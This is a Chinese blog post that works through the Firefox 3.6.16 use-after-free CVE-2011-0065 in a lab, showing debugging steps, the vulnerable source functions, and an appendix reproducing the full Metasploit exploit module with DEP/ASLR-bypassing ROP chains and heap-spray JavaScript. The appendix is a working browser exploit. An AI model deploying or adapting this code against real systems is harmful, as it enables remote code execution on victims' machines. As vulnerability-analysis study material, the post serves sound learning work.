漏洞调试-释放重引用UAF-cve-2011-0065
##实验环境
操作系统:Windows xp、
辅助环境: MetaSploit、Windbg
##准备
继续漏洞分析学习,上次分析了0158之后就买了泉哥的漏洞战争,很详细很nice,不用到处去找了就跟着书上流程走就可以了。
###样本生成
虽然书的配套资料有样本,但是还是按照之前的流程用MetaSploit生成了漏洞利用样本,然后用python写了个小脚本把样本存下来了(主要是ruby写的利用代码,不怎么看得懂用浏览器访问也不好存)。python脚本和漏洞样本如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36#coding=utf-8
import sys
import urllib,urllib2
reload(sys)
sys.setdefaultencoding('utf-8')
url = 'http://192.168.168.112:8080/ZWmm2Ia'
headers = { 'Host':'192.168.17.112:8080',
'Connection':'keep-alive',
'Cache-Control':'max-age=0',
'Accept': 'text/html, */*; q=0.01',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16',
'DNT':'1',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,ja;q=0.6'
}
data = None
req = urllib2.Request(url, data, headers)
response = urllib2.urlopen(req)
html=response.read()
print html
fh=open('cve_2011_0065_exploit.html','w')
fh.write(html)
fh.close()
<html>
<body>
<object id="d"><object>
<applet code="LMFDNKvmiUOMb.class" width=0 height=0></applet>
<script type="text/javascript">
</script>
</body>
</html>
这里生成的漏洞利用样本是通过Heap Spray方法布局内存,有通过ROP绕过DEP功能。最后效果是弹出计算器。
###调试环境准备
- 为了方便调试可设置Image File Execution Options注册表项,方便windbg打开自动调试(设置html为firefox自动打开,打开漏洞样本时候就自动断下来了)
- 设置好符号路径后没有按照预想的自动下载xul.dll的符号文件pdb(可能是网络问题),可以通过symchk程序找到该符号的链接。比如xul是http://symbols.mozilla.org/firefox/xul.pdb/04477C20855F439CBD58C311613D2AA92/xul.pdb,那在firefox符号的地址就是http://symbols.mozilla.org/firefox/xul.pdb/04477C20855F439CBD58C311613D2AA92/xul.pd_(pdb在服务器上是压缩的,所以下载下来要解压)
- 没有符号调试是很痛苦的,开始就是不知道什么原因xul.dll的符号信息一直下载失败,折腾了好久才下载成功

##调试
尝试通过exp调试找到漏洞相关函数失败
1 | 0:000> bu kernel32!winexec |
直接通过exploit来找uaf漏洞函数感觉不好找,又没什么经验所以还是按照书里步骤来吧
正向调试及漏洞利用简单分析,直接按书上步骤调试
1 | //直接按照书上的下好断点,起始exploit样本里面有OnChannelRedirect函数但是不知道怎么对应 |
漏洞函数
- 存在问题的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54// nsIChannelEventSink
NS_IMETHODIMP
nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel,
nsIChannel *aNewChannel,
PRUint32 aFlags)
{
// If we're already busy with a new load, cancel the redirect
if (aOldChannel != mChannel) {//打补丁后,这里变成了if (!mChannel||aOldChannel != mChannel)
return NS_BINDING_ABORTED;
}
if (mClassifier) {
mClassifier->OnRedirect(aOldChannel, aNewChannel);
}
mChannel = aNewChannel;
return NS_OK;
}
- 触发漏洞的函数
```c
nsresult
nsObjectLoadingContent::LoadObject(nsIURI* aURI,
PRBool aNotify,
const nsCString& aTypeHint,
PRBool aForceLoad)
{
......
// From here on, we will always change the content. This means that a
// possibly-loading channel should be aborted.
if (mChannel) {
LOG(("OBJLC [%p]: Cancelling existing load\n", this));
if (mClassifier) {
mClassifier->Cancel();
mClassifier = nsnull;
}
// These three statements are carefully ordered:
// - onStopRequest should get a channel whose status is the same as the
// status argument
// - onStopRequest must get a non-null channel
mChannel->Cancel(NS_BINDING_ABORTED);
if (mFinalListener) {
// NOTE: Since mFinalListener is only set in onStartRequest, which takes
// care of calling mFinalListener->OnStartRequest, mFinalListener is only
// non-null here if onStartRequest was already called.
mFinalListener->OnStopRequest(mChannel, nsnull, NS_BINDING_ABORTED);
mFinalListener = nsnull;
}
mChannel = nsnull;
}
......
}
简单分析就是这样了,感觉分析的时候有很多坑(虽然这个漏洞有符号文件及源码),一定要坚持下来。总体就是mChannel对象被释放后变成悬挂指针然后马上重新申请这块内存写入构造的shellcode(主要就是修改对象的虚函数表指针地址),在mChannel对象的函数mChannel->Cancel被使用时获得执行机会。对于漏洞利用还有很多需要细致的学习,通过布局内存利用漏洞。
主要知识点包括:虚函数、堆喷射Heap Spray、ROP
##参考
漏洞战争-软件漏洞分析摘要
Heap Spray原理浅析
Analysis CVE2011-0065-Firefox 3.6.16 mChannel use after free vulnerability
更新附录
shellcode分析可以和msf漏洞生成脚本一起看,一下就豁然开朗了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::FF,
# :ua_minver => "3.6.16",
# :ua_maxver => "3.6.16",
# :os_name => OperatingSystems::Match::WINDOWS,
# :javascript => true,
# :rank => NormalRanking,
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
'Description' => %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). This module uses heapspray
with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
a windows 7 target was provided using JAVA 6 and below to avoid aslr.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # discovery
'Rh0', # metasploit module
'mr_me <steventhomasseeley[at]gmail.com>' # win7 target
],
'References' =>
[
['CVE', '2011-0065'],
['OSVDB', '72085'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
# DEP bypass
[
'Firefox 3.6.16 on Windows XP SP3',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x0c00, //站位虚函数表地址
'Fakefunc' => 0x0c00001c,
}
],
# requires JAVA <= JAVA 6 update 26
# cop stack pivot = ASLR/DEP bypass
[
'Firefox 3.6.16 on Windows 7 + Java',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x1000,
'Fakefunc' => 0x100002a4,
'Ppppr' => 0x7c3410c0,
'Retn' => 0x7c3410c4,
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 10 2011'
))
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
# Random JavaScript variable names
js_element_name = rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name = rand_text_alpha(rand(10) + 5)
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
js_block_name = rand_text_alpha(rand(10) + 5)
js_array_name = rand_text_alpha(rand(10) + 5)
js_retns = rand_text_alpha(rand(10) + 5)
js_applet_name = rand_text_alpha(rand(10) + 5)
js_ppppr = rand_text_alpha(rand(10) + 5)
js_filler = rand_text_alpha(rand(10) + 5)
agent = request.headers['User-Agent']
# Set target manually or automatically
my_target = target
if my_target.name == 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
my_target = targets[1]
elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
my_target = targets[2]
end
end
# check for non vulnerable targets
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
print_error("Target not supported: #{agent}")
send_not_found(cli)
return
end
# Re-generate the payload
return if ((p = regenerate_payload(cli).encoded) == nil)
if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/
html_trigger = ""
if ("/" == get_resource[-1,1])
html_trigger = get_resource[0, get_resource.length - 1]
else
html_trigger = get_resource
end
custom_js = <<-JS
function forward() {
window.location = window.location + "#{html_trigger}.html";
}
function start() {
setTimeout("forward()", 3500);
}
start();
JS
else
if my_target.name =~ /Windows XP/
# DEP bypass using xul.dll
rop_gadgets = [
0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
junk, # junk --------------------------------------------------------------^^
0x7c801ad4, # VirtualProtect
junk, # junk -------------------------------------------------------------------------^^
junk, # junk -------------------------------------------------------------------------^^
0x1003876B, # jmp esp
0x0c000040, # start address
0x00000400, # size 1024
0x00000040, # Page EXECUTE_READ_WRITE
0x0c0c0c00, # old protection
].pack("V*")
rop = rop_gadgets
elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/
# 5 gadgets to pivot using call oriented programming (cop)
# these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
# 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
# 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
# 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
rop_pivot = [
0x6D32280C, # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
junk, # filler
0x6D7E627D, # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
0x7C3413A4, # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
].pack("V*")
# 319
# rop nops - RETN
rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)
# POP r32 / RETN
rop_pivot << [0x7c3410c3].pack("V*")
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
rop_pivot << [0x6D7E5CDA].pack("V*")
# rop nops - RETN
rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)
# POP r32 / RETN
rop_pivot << [0x7c3410c3].pack("V*")
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
rop_pivot << [0x6D325BFC].pack("V*")
# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
rop_gadgets = [
0x7c346c0a, # POP EAX / RETN
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP / ... / POP ECX / POP EBP / RETN
junk, # EBP (filler)
0x7c346c0a, # POP EAX / RETN
0x7c37a140, # *&VirtualProtect()
0x7c3530ea, # MOV EAX,[EAX] / RETN
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
junk, # EDI (filler)
junk, # will be patched at runtime (VP), then picked up into ESI
junk, # EBX (filler)
0x7c376402, # POP EBP / RETN
0x7c345c30, # ptr to 'push esp / ret'
0x7c346c0a, # POP EAX / RETN
0xfffffdff, # size 0x00000201 -> ebx
0x7c351e05, # NEG EAX / RETN
0x7c354901, # POP EBX / RETN
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX / FPATAN / RETN
0x7c352174, # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
0x7c34d201, # POP ECX / RETN
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI / RETN
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX / RETN
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX / RETN
0x7c346c0a, # POP EAX / RETN
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD / ADD AL,0EF / RETN
0x90909090, # NOPS (-> eax)
].pack("V*")
rop = rop_pivot + rop_gadgets
end
payload_buf = ''
payload_buf << rop
payload_buf << p
escaped_payload = Rex::Text.to_unescape(payload_buf)
# setup the fake memory references
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
if my_target.name =~ /Windows XP/
# fast loading JS so we dont get the 'unresponsive script' warning from ff
custom_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
#{js_array_name} = new Array()
for (n=0;n<0x80;n++){
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
elsif my_target.name =~ /Windows 7/
# setup precision heap spray
ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))
# fast loading JS so we dont get the 'unresponsive script' warning from ff
# precision heap spray
custom_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
var #{js_retns} = unescape("#{retns}");
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
#{js_ret_addr_name} += #{js_retns};
var #{js_ppppr} = unescape("#{ppppr}");
#{js_ret_addr_name} += #{js_ppppr};
var #{js_filler} = unescape("%u4344%u4142");
while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_filler};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
#{js_array_name} = new Array()
for (n=0;n<0x80;n++){
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
end
end
html = <<-HTML
<html>
<body>
<object id="d"><object>
<applet code="#{js_applet_name}.class" width=0 height=0></applet>
<script type="text/javascript">
#{custom_js}
</script>
</body>
</html>
HTML
#Remove the extra tabs
html = html.gsub(/^ {4}/, '')
print_status("Sending HTML...")
print_status(html)
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end